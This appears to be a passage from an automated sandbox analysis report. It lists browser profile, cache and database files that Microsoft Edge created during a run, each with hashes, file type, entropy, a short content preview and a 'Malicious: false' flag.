Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.35226517389931394
Encrypted:	false
SSDEEP:	12:TLC+waBg9LBgVDBgQjiZBgKuFtuQkMbmgcVAzO5kMCgGUg5OR:TLPdBgtBgJBgQjiZS53uQFE27MCgGZsR
MD5:	D2CCDC36225684AAE8FA563AFEDB14E7
SHA1:	3759649035F23004A4C30A14C5F0B54191BEBF80
SHA-256:	080AEE864047C67CB1586A5BA5EDA007AFD18ECC2B702638287E386F159D7AEE
SHA-512:	1A915AF643D688CA68AEDC1FF26C407D960D18DFDE838B417C437D7ADAC7B91C906E782DCC414784E64287915BD1DE5BB6A282E59AA9FEB8C384B4D4BC5F70EC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......Q......Q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.08671999359909938
Encrypted:	false
SSDEEP:	6:GEl/l38MqHxl/l38Myl/z9XHl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Unnor:bt94t92pFnnnnnnnnnnnpwE
MD5:	9F2A8739CF1D8117CCD3A4FEAFC31555
SHA1:	A95C097DB2938CDE5625CF4A3A090D11DAD16C68
SHA-256:	1C8E6C04F564A73AFCB392CD9C7D660C488C0625A68F10393CC4A50971B79B19
SHA-512:	AFA3FF4102A8BE0587EB3AC0DA6278FD9025FA0EF7C3B024C350B0C3A1857C8A7E9C108E9EDF1490A2E0EC7B4FE5650163C79BBE2E0D9FA5B4BBBD3B7D500F87
Malicious:	false
Preview:	..-.............<..........~....qU.....%.........-.............<..........~....qU.....%...............8...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	247232
Entropy (8bit):	0.8270201125094333
Encrypted:	false
SSDEEP:	384:3q3/Dq8Liq14fqpvbqGOUqlz+5qEs2qYjhqqO1qXf+1JqZ0v8/y+yLYyoyJty2xC:63+8X19pGG0xhEYY0qVXRZsI
MD5:	0766ABC97269C9CA4B42CB86DDE9464C
SHA1:	3A2530F65FA319F59227C056824713391D922B74
SHA-256:	FED5F96B30C9FB0C19AF5476869267E94CB33AD78DF35F8334B394526DE68DCB
SHA-512:	870DE17D9C2C8BF2B18CEE84959EC01378D5D180611CBCD45B894D65F1BEBCBFB4B4ABD10F5D6D837CFA89B8F8E572FA44F5A4015BAAC42E4D1A6375E4DF4CFD
Malicious:	false
Preview:	7....-..........qU.......X.?...........qU.....S.Z...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	155
Entropy (8bit):	4.232016233923452
Encrypted:	false
SSDEEP:	3:VVXntjQPEnjQkVZllll3seGKT9rcQ6x6bYrOtlTxotl:/XntM+pZllll3sedhO68rOu
MD5:	08194773B2249CD4EE6B42B02BE4B9EF
SHA1:	433E87BA8552E6FABBEC562C2B4C9ED2C0D62648
SHA-256:	D49B8E88A9362E2013B38819DEF55B569383717089FFFD4050BC8398A0F1DAD3
SHA-512:	56AE7CF2D176ED2341339C40B6839237042F55DC42781B1ECD2DB5054958A3B17541CCE1166CAECB33E48F2AEF5A044767F93EA7E039DA0A91CAF74D0560DCF1
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...R0................39_config..........6.....n ....1u}.=...............u}.=...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	279
Entropy (8bit):	5.229545574809816
Encrypted:	false
SSDEEP:	6:iOrvRnLGFD1wkn23oH+Tcwtfrl2KLl5vRqL+q2Pwkn23oH+TcwtfrK+IFUv:7cyfYeb1L4L+vYfYeb23FUv
MD5:	6CD52138469C56AEE647AA13B2D4C330
SHA1:	A4473A78E63D980C87CB75067327D8FD51C25ED4
SHA-256:	BEBC93B9CB9E841D75DD102B33E031C519EB300D40FF2ACA9FABA75E9E6C6F89
SHA-512:	99E75343364A4538C0949C8104D9B07EBA24AE8EF2D5EDCEEA60DA07FFEFD7475450034C07D7B3030CF333FBC9CAD6D7C0C2C5092026DAAA15A6D5B1CDFBAD78
Malicious:	false
Preview:	2025/01/09-08:40:59.011 73c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db since it was missing..2025/01/09-08:40:59.024 73c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	3.9325179151892424
Encrypted:	false
SSDEEP:	12:G0nYUteza//z3p/Uz0RuWlJhC+lvBavRtin01zv0:G0nYUtezaD3RUovhC+lvBOL0
MD5:	AD15D72AA4792C14DDD002CED70E8245
SHA1:	30D0E75166FDA7126A73480EE3222C193231B579
SHA-256:	17A781FB31D3176491D9B277ADEEE5521972C68956A2271637BBCBFEB27D6A7D
SHA-512:	20B8D19B529A392FE0CBB44844926210D98C477498377B8370AA3A3A763C047EF96BE341686406522868EF848C83EF5EF4792B17CDD0462D4680EDA542C8A54F
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................21_.....n[.=.................33_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.193011521493536
Encrypted:	false
SSDEEP:	6:iOrvRW3GR1wkn23oH+Tcwtfrzs52KLl5vR/1L+q2Pwkn23oH+TcwtfrzAdIFUv:7efYebs9LfL+vYfYeb9FUv
MD5:	F64C3AB6A47B3BD882E033427C1CCC6C
SHA1:	803467BFF49E9EF31ED087F7E922AC41571A74C1
SHA-256:	4202FF508F5DDA44CD0371DFBB407EED93EC99D89CA0F1B7BE4A0DA9C8E0C0AB
SHA-512:	74018CA768E0666615B2F65BC8E712C244E9AD70F1B68151A6300806560F09D2781D186CD41080AB07F2FDF108327AD04ADF210B0D5F68DC9FA4EC4CDE4AE46B
Malicious:	false
Preview:	2025/01/09-08:40:58.491 73c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata since it was missing..2025/01/09-08:40:59.005 73c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl2Tl:Ls3il
MD5:	E2CD73C49B56D11D21D24122B180C2AA
SHA1:	C9E91550C7CA1B042590DE1A1FA17C6DBBC518B9
SHA-256:	07228F62F18E5963B4C912374F1A77E154F4825B790BEA836EDC7D40F65044DB
SHA-512:	112DD8337FC1EBDC018935F38374529D280AD6934E379D9D2F6CEA3E36CBBCC58CD4E0F053BFC3D63BF2BD58163B64A06949780037860242A07319887916DBFC
Malicious:	false
Preview:	.........................................7Wi./.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.47693366977411E-4
Encrypted:	false
SSDEEP:	3:LsNlrll:Ls3xl
MD5:	D4A06265106EB442B269953A98D576AF
SHA1:	034D34FF4C99CF741CCD1EFA80781909D284A40D
SHA-256:	912D418D8F4CA7A339B9E8ECB0445D5567CAEA17091A6339FED49C3EF8A1DF36
SHA-512:	4B9D8F1549A2A880634688FA6420F1D3026616939562ABEEBFDA1707737A5D5B8419CC762C16A7944271BAC8996E96490AF9353C188C0C85929858D1AF735DFE
Malicious:	false
Preview:	........................................WW[i./.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794503546523364
Encrypted:	false
SSDEEP:	96:iaqkHfGs5g5ih/cI9URLl8RototMFVvlwhTe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akuGeiRUah16qRAq1k8SPxVLZ7VTiq
MD5:	5D61AB19E83E7E870FF42507F6C92C4C
SHA1:	5BFA94969CD43C4EFF83061D172B96D4EE8811BC
SHA-256:	7C7FD5C7605C9FB930807C21B1D92B4AEA92810D4241C54C58553F5D85A73A32
SHA-512:	BA0AC412D68B0FB4622AE6BA985F132DC3DC0D0DBB22E3169897FA6893609153842263A37383E07D3DF4246A56B69DE431EF510AEC07FC4845979879C982730C
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACDs+S8GkXrQrhfGKkXA5yQEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADx1V7gbBpzml3Gt4VnIU1ftL8XqdmcdYyRn+La3ayMRwAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF368bd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794503546523364
Encrypted:	false
SSDEEP:	96:iaqkHfGs5g5ih/cI9URLl8RototMFVvlwhTe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akuGeiRUah16qRAq1k8SPxVLZ7VTiq
MD5:	5D61AB19E83E7E870FF42507F6C92C4C
SHA1:	5BFA94969CD43C4EFF83061D172B96D4EE8811BC
SHA-256:	7C7FD5C7605C9FB930807C21B1D92B4AEA92810D4241C54C58553F5D85A73A32
SHA-512:	BA0AC412D68B0FB4622AE6BA985F132DC3DC0D0DBB22E3169897FA6893609153842263A37383E07D3DF4246A56B69DE431EF510AEC07FC4845979879C982730C
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACDs+S8GkXrQrhfGKkXA5yQEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADx1V7gbBpzml3Gt4VnIU1ftL8XqdmcdYyRn+La3ayMRwAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF368fc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794503546523364
Encrypted:	false
SSDEEP:	96:iaqkHfGs5g5ih/cI9URLl8RototMFVvlwhTe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akuGeiRUah16qRAq1k8SPxVLZ7VTiq
MD5:	5D61AB19E83E7E870FF42507F6C92C4C
SHA1:	5BFA94969CD43C4EFF83061D172B96D4EE8811BC
SHA-256:	7C7FD5C7605C9FB930807C21B1D92B4AEA92810D4241C54C58553F5D85A73A32
SHA-512:	BA0AC412D68B0FB4622AE6BA985F132DC3DC0D0DBB22E3169897FA6893609153842263A37383E07D3DF4246A56B69DE431EF510AEC07FC4845979879C982730C
Malicious:	false
